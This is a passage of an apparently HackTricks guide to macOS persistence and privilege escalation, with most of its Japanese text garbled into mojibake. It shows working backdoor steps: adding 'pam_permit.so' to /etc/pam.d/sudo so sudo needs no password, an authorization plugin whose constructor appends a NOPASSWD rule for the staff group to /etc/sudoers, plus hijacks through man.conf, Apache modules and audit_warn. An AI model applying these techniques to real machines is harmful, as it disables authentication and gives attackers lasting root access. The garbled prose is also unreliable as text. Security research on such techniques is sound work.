drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
å®è¡ããããã®ä»ã®å®æçãªã¹ã¯ãªãã㯠/etc/defaults/periodic.conf ã«ç€ºãããŠããŸã:
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
ãã /etc/daily.localã/etc/weekly.localã/etc/monthly.local ã®ããããã®ãã¡ã€ã«ãæžã蟌ããã°ãããã¯é
ããæ©ããå®è¡ãããŸãã
Warning
periodic script ã¯ã¹ã¯ãªããã®ææè ãšããŠå®è¡ãããããšã«æ³šæããŠãã ããããããã£ãŠãéåžžã®ãŠãŒã¶ãŒãã¹ã¯ãªããã®ææè ã§ããã°ããã®ãŠãŒã¶ãŒæš©éã§å®è¡ãããŸãïŒããã«ãã privilege escalation æ»æãé²ããããšããããŸãïŒã
PAM
解説: Linux Hacktricks PAM
解説: https://theevilbit.github.io/beyond/beyond_0005/
å Žæ
- åžžã« root ãå¿ èŠã§ã
説æãšæªçš
PAM 㯠macOS å ã§ã®å®¹æãªå®è¡ããã persistence ããã«ãŠã§ã¢ã®æç¶ã«éç¹ã眮ããŠãããããæ¬çš¿ã§ã¯è©³çްãªèª¬æã¯è¡ããŸããããã®ææ³ãããããçè§£ããã«ã¯ã解説ãèªãã§ãã ããã
PAM ã¢ãžã¥ãŒã«ã確èªããã«ã¯:
ls -l /etc/pam.d
PAMãæªçšãã persistence/privilege escalation technique ã¯ãã¢ãžã¥ãŒã« /etc/pam.d/sudo ã倿ŽããŠå é ã«ä»¥äžã®è¡ã远å ããã ãã§ç°¡åã«å®è¡ã§ããŸã:
auth sufficient pam_permit.so
ã€ãŸããæ¬¡ã®ããã«ãªããŸãïŒ
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
ãããŠãsudo ã䜿çšããããšããã©ããªè©Šã¿ã§ãæ©èœããŸãã
Caution
ãã®ãã£ã¬ã¯ããªã¯ TCC ã«ãã£ãŠä¿è·ãããŠããããããŠãŒã¶ãŒã«ã¢ã¯ã»ã¹èš±å¯ãæ±ããããã³ããã衚瀺ãããå¯èœæ§ãé«ãããšã«æ³šæããŠãã ããã
Another nice example is su, were you can see that itâs also possible to give parameters to the PAM modules (and you coukd also backdoor this file):
cat /etc/pam.d/su
# su: auth account session
auth sufficient pam_rootok.so
auth required pam_opendirectory.so
account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account required pam_opendirectory.so no_check_shell
password required pam_opendirectory.so
session required pam_launchd.so
èªèšŒãã©ã°ã€ã³
Writeup: [https://theevilbit.github.io/beyond/beyond_0028/]\
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65]
- sandbox ããã€ãã¹ããã®ã«æçš: ð
- ãã ã root æš©éãå¿ èŠã§ã远å ã®èšå®ãå¿ èŠ
- TCC bypass: ???
å Žæ
/Library/Security/SecurityAgentPlugins/- root æš©éãå¿ èŠ
- ãã©ã°ã€ã³ã䜿çšããã«ã¯æ¿èªããŒã¿ããŒã¹ãæ§æããå¿ èŠããã
説æãšæªçš
ãŠãŒã¶ãŒããã°ã€ã³ãããšãã«å®è¡ãããæ°žç¶åãç¶æããèªèšŒãã©ã°ã€ã³ãäœæã§ãããäœææ¹æ³ã®è©³çްã¯åè¿°ã® writeups ãåç §ããŠãã ããïŒæ³šæïŒäžé©åã«äœæãããã©ã°ã€ã³ã¯ãã°ã€ã³äžèœã«ãããªã«ããªã¢ãŒããã Mac ãã¯ãªãŒã³ããå¿ èŠãããå ŽåããããŸãïŒã
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
Move the bundle ãèªã¿èŸŒãå Žæã«ç§»åããŠãã ãã:
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
æåŸã«ãã®Pluginãèªã¿èŸŒãããã®ã«ãŒã«ã远å ããŠãã ãã:
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
evaluate-mechanisms ã¯èªå¯ãã¬ãŒã ã¯ãŒã¯ã«èªå¯ã®ããã«å€éšã¡ã«ããºã ãåŒã³åºãå¿
èŠãããããšãäŒããŸããããã«ãprivileged ãæå®ãããš root ã«ãã£ãŠå®è¡ãããŸãã
次ã®ããã«ããªã¬ãŒããŸã:
security authorize com.asdf.asdf
ãããŠãstaff ã°ã«ãŒã㯠sudo ã¢ã¯ã»ã¹ãæã£ãŠããã¹ãã§ãïŒç¢ºèªããã«ã¯ /etc/sudoers ãåç
§ããŠãã ããïŒã
Man.conf
Writeup: https://theevilbit.github.io/beyond/beyond_0030/
Location
/private/etc/man.conf- Root required
/private/etc/man.conf: Whenever man is used
Description & Exploit
The config file /private/etc/man.conf ã¯ãman ããã¥ã¡ã³ããéããšãã«äœ¿çšãããã€ããª/ã¹ã¯ãªãããæå®ããŸãããããã£ãŠãå®è¡ãã¡ã€ã«ãžã®ãã¹ã倿Žããã°ããŠãŒã¶ãŒã man ã§ããã¥ã¡ã³ããèªããã³ã« backdoor ãå®è¡ãããããã«ã§ããŸãã
For example set in /private/etc/man.conf:
MANPAGER /tmp/view
次㫠/tmp/view ãæ¬¡ã®ããã«äœæããŸã:
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
Apache2
Writeup: https://theevilbit.github.io/beyond/beyond_0023/
- Sandboxããã€ãã¹ããã®ã«æçš: ð
- ãã ã root æš©éãå¿ èŠã§ãapache ãå®è¡äžã§ããå¿ èŠããããŸã
- TCC bypass: ðŽ
- Httpd 㯠entitlements ãæã£ãŠããŸãã
Location
/etc/apache2/httpd.conf- Root ãå¿ èŠ
- Trigger: Apache2 ãèµ·åãããšã
Description & Exploit
/etc/apache2/httpd.conf ã«ã¢ãžã¥ãŒã«ãããŒãããè¡ã远å ããŠã次ã®ããã«æå®ã§ããŸã:
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
ãã®æ¹æ³ã§ã³ã³ãã€ã«ããã¢ãžã¥ãŒã«ã¯ Apache ã«ãã£ãŠèªã¿èŸŒãŸããŸãã
ãã ããæå¹ãª Apple èšŒææžã§çœ²åããããã·ã¹ãã ã«æ°ããä¿¡é ŒãããèšŒææžã远å ããŠããã§çœ²åããå¿
èŠããããŸãã
å¿ èŠã§ããã°ããµãŒããèµ·åããããšã確èªããããã«ã次ã®ã³ãã³ããå®è¡ã§ããŸã:
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
Dylbã®ã³ãŒãäŸ:
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
BSM audit framework
Writeup: https://theevilbit.github.io/beyond/beyond_0031/
- sandbox ããã€ãã¹ããã®ã«æçš: ð
- ãã ã root ã§ãããauditd ãå®è¡ãããŠããŠãèŠåãçºçãããå¿ èŠããã
- TCC bypass: ðŽ
å Žæ
/etc/security/audit_warn- root æš©éãå¿ èŠ
- Trigger: auditd ãèŠåãæ€åºãããšã
説æ & Exploit
auditd ãèŠåãæ€åºãããšãã¹ã¯ãªãã /etc/security/audit_warn ã å®è¡ãããŸãããããã£ãŠãããã« payload ã远å ã§ããŸãã
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
You could force a warning with sudo audit -n.
ã¹ã¿ãŒãã¢ããé ç®
[!CAUTION] > ããã¯éæšå¥šã§ããããããã®ãã£ã¬ã¯ããªã«ã¯äœãååšããªãã¯ãã§ãã
The StartupItem is a directory that should be positioned within either /Library/StartupItems/ or /System/Library/StartupItems/. Once this directory is established, it must encompass two specific files:
- An rc script: ã·ã¹ãã èµ·åæã«å®è¡ãããã·ã§ã«ã¹ã¯ãªããã
- A plist file, specifically named
StartupParameters.plist, which contains various configuration settings.
Ensure that both the rc script and the StartupParameters.plist file are correctly placed inside the StartupItem directory for the startup process to recognize and utilize themã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>
emond
Caution
ãã®ã³ã³ããŒãã³ãã¯ç§ã® macOS ç°å¢ã§ã¯èŠã€ãããŸããã§ããã詳现ã¯äžã® writeup ã確èªããŠãã ãã
Writeup: https://theevilbit.github.io/beyond/beyond_0023/
Introduced by Apple, emond is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. While not particularly beneficial for a Mac administrator, this obscure service could serve as a subtle persistence method for threat actors, likely unnoticed by most macOS admins.
For those aware of its existence, identifying any malicious usage of emond is straightforward. The systemâs LaunchDaemon for this service seeks scripts to execute in a single directory. To inspect this, the following command can be used:
ls -l /private/var/db/emondClients
XQuartz
Writeup: https://theevilbit.github.io/beyond/beyond_0018/
å Žæ
/opt/X11/etc/X11/xinit/privileged_startx.d- Root æš©éãå¿ èŠ
- ããªã¬ãŒ: XQuartz äœ¿çšæ
Description & Exploit
XQuartzã¯macOSã«ã¯ãã¯ãã€ã³ã¹ããŒã«ãããŠããŸããã詳现㯠writeup ãåç §ããŠãã ããã
kext
Caution
kextãrootã§ã€ã³ã¹ããŒã«ããã®ã¯éåžžã«è€éãªã®ã§ããšã¯ã¹ããã€ãããªãéãããããsandboxesããã®escapeãpersistenceã®ææ®µãšããŠã¯èããŸããã
å Žæ
In order to install a KEXT as a startup item, it needs to be installed in one of the following locations:
/System/Library/Extensions- KEXT files built into the OS X operating system.
/Library/Extensions- KEXT files installed by 3rd party software
You can list currently loaded kext files with:
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
For more information about kernel extensions check this section.
amstoold
Writeup: https://theevilbit.github.io/beyond/beyond_0029/
å Žæ
/usr/local/bin/amstoold- Root æš©éãå¿ èŠ
説æ & Exploitation
ã©ãããplistïŒ/System/Library/LaunchAgents/com.apple.amstoold.plistïŒã¯ãã®ãã€ããªã䜿çšã㊠XPC service ãå
¬éããŠããŸãã⊠åé¡ã¯ãã®ãã€ããªãååšããªãã£ããããããã«äœããé
眮ãããš XPC service ãåŒã°ãããšãã«ããªãã®ãã€ããªãåŒã³åºãããããšããããšã§ãã
ç§ã® macOS ã§ã¯ãããããèŠã€ããããŸããã
xsanctl
Writeup: https://theevilbit.github.io/beyond/beyond_0015/
å Žæ
/Library/Preferences/Xsan/.xsanrc- Root æš©éãå¿ èŠ
- ããªã¬ãŒ: ãµãŒãã¹ãå®è¡ããããšãïŒãŸãïŒ
説æ & exploit
ãã®ã¹ã¯ãªãããå®è¡ããããšã¯ããŸãäžè¬çã§ã¯ãªããç§ã® macOS ã§ãèŠã€ããããªãã£ãã®ã§ã詳现㯠writeup ãåç §ããŠãã ããã
/etc/rc.common
[!CAUTION] > ããã¯çŸä»£ã® MacOS ããŒãžã§ã³ã§ã¯åäœããŸãã
ããã«èµ·åæã«å®è¡ãããã³ãã³ãã眮ãããšãå¯èœã§ããéåžžã® rc.common ã¹ã¯ãªããã®äŸ:
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}
#
# Generic action handler
#
RunService ()
{
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
}
æ°žç¶åã®ææ³ãšããŒã«
åèè³æ
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


